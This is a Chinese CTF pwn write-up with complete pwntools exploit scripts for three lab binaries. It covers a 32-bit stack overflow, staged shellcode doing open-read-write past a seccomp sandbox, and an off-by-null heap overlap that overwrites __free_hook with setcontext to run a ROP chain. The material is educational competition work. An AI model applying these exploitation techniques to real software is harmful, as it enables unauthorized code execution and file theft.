前言
这次比赛,我能做的应该是有三题的,可能还是太菜了,比赛时就是没出,最终只做了个签到题,还好手快抢了一血,长路漫漫,继续加油吧!
复现来源:https://blog.csdn.net/eeeeeight/article/details/120255533
BabyRop
这题签到题,很简单的栈溢出,没什么好讲的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | from pwn import*from LibcSearcher import*
 
 p=remote('192.168.39.50',11000)
 context(log_level='debug',arch='i386',os='linux')
 
 payload = 'a' * 0x2c + p32(0x80490a0) + p32(0) + p32(0x0804c029)
 p.sendline(payload)
 p.interactive()
 
 
 | 
nologin
 image-20210913165518141
image-20210913165518141
常规checksec,64位,保护基本没开,存在可执行段,这种一般就是注入shellcode去执行的
 image-20210913170209042
image-20210913170209042
同时,当你执行到admin功能时,会开启沙箱,禁用了execve,所以这题就变成了orw了。admin功能是必须要进的,因为这里才存在着漏洞——栈溢出
 image-20210913170334228
image-20210913170334228
 image-20210913170528035
image-20210913170528035
 image-20210913170611997
image-20210913170611997
buf这里可以写入30个字节的内容,所以可以覆盖到返回地址,但是具体的长度要动态去看。我这边是进入到了admin功能中,可以看见,前五个字节是用来对齐栈内容,接下来的八个字节就可以覆盖rbp内容,这边覆盖的是admin中输入函数的rbp
 image-20210913171057369
image-20210913171057369
 image-20210913221356910
image-20210913221356910
 image-20210913221754144
image-20210913221754144
并且呢,.bss是属于可执行段的,先覆盖返回地址去执行read函数,因为read是有三个参数的,但是我们可以观察当执行read函数时,三个参数都是已经满足了的(因为我们刚开始就借着read函数的溢出,并且寄存器并未被改变)。所以写入数据的地方是栈上一个地址,所以先构造一次shellcode(注意shellcode大小,因为长度最多为0x1d)系统调用read函数,往.bss上写第二个shellcode,这次shellcode的长度一定要够大,不然写不下。最后就是在.bss上写最终的orw,读取flag即可
 image-20210913211252996
image-20210913211252996
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 
 | 
 from pwn import *
 elf = ELF("./nologin")
 context.binary = elf
 p = process("./nologin")
 call_rsi = 0x000000000040186b
 read = elf.plt['read']
 
 gdb.attach(p,"b *0x0000000000401007")
 p.sendlineafter("input>> \n",'2')
 p.recvuntil(">password: ")
 payload = 'a'*5 + p64(0x602030+0x28)+ p64(read) + p64(call_rsi)
 p.sendline(payload)
 shellcode=asm('''
 xor rax, rax;
 push r11;
 pop rdx;
 mov rsi, 0x602100;
 syscall;
 add rsi, 28;
 jmp rsi;
 ''')
 print hex(len(shellcode))
 p.sendline(shellcode)
 shellcode1=asm('''
 xor rax, rax;
 mov rax, 2;
 sub rsi, 16;
 mov rdi, rsi;
 xor rsi, rsi;
 syscall;
 
 mov rdi, rax;
 xor rax, rax;
 mov rsi, 0x602300;
 mov rdx, 0x80;
 syscall;
 
 mov rax, 1;
 mov rdi, 1;
 syscall;
 ''')
 print hex(len(shellcode1))
 p.sendline('b'*11 + './flag\x00\x00'*3 + shellcode1)
 p.interactive()
 
 | 
Whats your name
 image-20210923204918588
image-20210923204918588
常规checksec,64位保护全开
 image-20210924083229104
image-20210924083229104
add里面,会先申请一块0x10大小的堆块,然后在前八字节作为函数指针存放puts地址,后八字节存放一个大小在0~0x100之间的堆块地址,最多能申请出10个堆块 image-20210924083439735
image-20210924083439735
 image-20210924083201516
image-20210924083201516
在edit里面,写入函数会堆溢出一个0,漏洞点offbynull
 image-20210924083514708
image-20210924083514708
show里面,调用之前存放的函数指针,打印堆块内容
 image-20210924083618714
image-20210924083618714
释放堆块,全部置0
 image-20210924083715443
image-20210924083715443
最后,程序开了沙箱,看来是要orw了
 image-20210923204552633
image-20210923204552633
这是什么都没做的情况,由于开启沙箱都是会这样的出现很多的堆块,里面有一块是unsorted chunk,给他申请回来,里面就已经存放着脏数据了,直接就能泄露libc。同样也能泄露出堆上地址
| 12
 3
 4
 5
 6
 7
 8
 
 | add(0xe8) show(0)
 libc_base = u64(p.recv(6).ljust(8,'\x00')) - 3951480
 log.info("libc_base==>0x%x" %libc_base)
 add(0x70)
 show(1)
 heap_addr = u64(p.recv(6).ljust(8,'\x00'))
 log.info('heap_addr==>0x%x' %heap_addr)
 
 | 
 image-20210924092730279
image-20210924092730279
我们要利用offbynull,肯定是要制造出堆块重叠的,那么就一定要让堆块是连续的,所以不能是上面bin链存在的大小,并且offbynull,那溢出被覆盖为0的肯定是0xf0的堆块 image-20210924093026970
image-20210924093026970
这是连续申请出来的四个堆块,全都连在了一起,才方便我们后续制造堆块重叠
 image-20210924093202818
image-20210924093202818
通过offbynull,成功将in_use位置为0
 image-20210924094657672
image-20210924094657672
然后释放堆块,触发合并
 image-20210924195657525
image-20210924195657525
 image-20210924200058670
image-20210924200058670
然后再把0xf0堆块申请回来,接着我们申请在bin有的堆块,因为再分配就是要重叠在之前未被释放的0x40的堆块上了,而我们要和这个堆块重叠的要选择那个程序帮我们申请的堆块,因为控制这个堆块是可以借着edit功能执行任意地址写的,或者在show功能里面获得执行权限,可谓好处多多
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | add(0xf0) add(0x38)
 add(0xf0)
 add(0x30)
 free(2)
 edit(3, 'a'*0x30 + p64(0x140))
 free(4)
 add(0xf0)
 add(0x60)
 add(0x20)
 
 | 
到现在,所有的铺垫都已经准备好了,接着先计算一下我们需要的gadget,以及rop的地址计算,以及flag地址的排布
 image-20210924200749914
image-20210924200749914
把flag字符串写到前面我们申请的1堆块上,可以直接用搜索功能,更快点,rop的地址要后面申请出写的堆块再回来算的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | setcontext = libc_base + libc.sym["setcontext"] + 53open = libc_base + libc.sym['open']
 read = libc_base + libc.sym['read']
 write = libc_base + libc.sym['write']
 free_hook = libc_base + libc.sym['__free_hook']
 ret = 0x0000000000000937 + libc_base
 pop_rdi = 0x0000000000021112 + libc_base
 pop_rsi = 0x00000000000202f8 + libc_base
 pop_rdx = 0x0000000000001b92 + libc_base
 rop_addr = heap_addr + 0x820
 flag_addr = heap_addr - 0x190
 
 | 
 image-20210924202223468
image-20210924202223468
 image-20210924211125389
image-20210924211125389
借着前面的堆块重叠,往free_hook里面写setcontext+53就行,然后就是最后的堆上布置rop链,堆块给的够大,那就直接选择最大的堆块进行布置,因为要先申请一个0x20的堆块,剩下的大小不够0x100,所以堆块的位置是在最下方的,然后在上面布置好rop,最后就是在setcontext的gadget指向的相应位置写好,跳转执行就行
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | edit(1, './flag\x00')edit(3, 'a'*8 + p64(free_hook))
 edit(6, p64(setcontext))
 add(0x100)
 payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
 payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(read)
 payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(write)
 success(hex(len(payload)))
 edit(7, 'a'*8 + payload)
 frame = SigreturnFrame()
 frame.rsp = rop_addr + 8
 frame.rip = ret
 success(hex(len(frame)))
 edit(0, str(frame))
 free(0)
 
 | 
 image-20210924220626687
image-20210924220626687
成功读取flag!
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 
 | 
 from pwn import *
 context(arch = 'amd64',os = 'linux')
 elf = ELF("./name")
 libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
 
 ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
 p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
 
 def debug():
 gdb.attach(p,"b main")
 
 def add(size):
 p.sendlineafter("5.exit\n",'1')
 p.recvuntil("name size:\n")
 p.sendline(str(size))
 
 def edit(idx,content):
 p.sendlineafter("5.exit\n",'2')
 p.recvuntil("index:\n")
 p.sendline(str(idx))
 p.recvuntil("name:\n")
 p.send(content)
 
 def show(idx):
 p.sendlineafter("5.exit\n",'3')
 p.recvuntil("index:\n")
 p.sendline(str(idx))
 
 def free(idx):
 p.sendlineafter("5.exit\n",'4')
 p.recvuntil("index:\n")
 p.sendline(str(idx))
 
 add(0xe8)
 show(0)
 libc_base = u64(p.recv(6).ljust(8,'\x00')) - 3951480
 log.info("libc_base==>0x%x" %libc_base)
 add(0x70)
 show(1)
 heap_addr = u64(p.recv(6).ljust(8,'\x00'))
 log.info('heap_addr==>0x%x' %heap_addr)
 
 add(0xf0)
 add(0x38)
 add(0xf0)
 add(0x30)
 free(2)
 edit(3, 'a'*0x30 + p64(0x140))
 free(4)
 add(0xf0)
 add(0x60)
 add(0x20)
 
 setcontext = libc_base + libc.sym["setcontext"] + 53
 open = libc_base + libc.sym['open']
 read = libc_base + libc.sym['read']
 write = libc_base + libc.sym['write']
 free_hook = libc_base + libc.sym['__free_hook']
 ret = 0x0000000000000937 + libc_base
 pop_rdi = 0x0000000000021112 + libc_base
 pop_rsi = 0x00000000000202f8 + libc_base
 pop_rdx = 0x0000000000001b92 + libc_base
 rop_addr = heap_addr + 0x820
 flag_addr = heap_addr - 0x190
 
 edit(1, './flag\x00')
 edit(3, 'a'*8 + p64(free_hook))
 edit(6, p64(setcontext))
 add(0x100)
 payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
 payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(read)
 payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(write)
 success(hex(len(payload)))
 edit(7, 'a'*8 + payload)
 frame = SigreturnFrame()
 frame.rsp = rop_addr + 8
 frame.rip = ret
 success(hex(len(frame)))
 edit(0, str(frame))
 free(0)
 p.interactive()
 
 |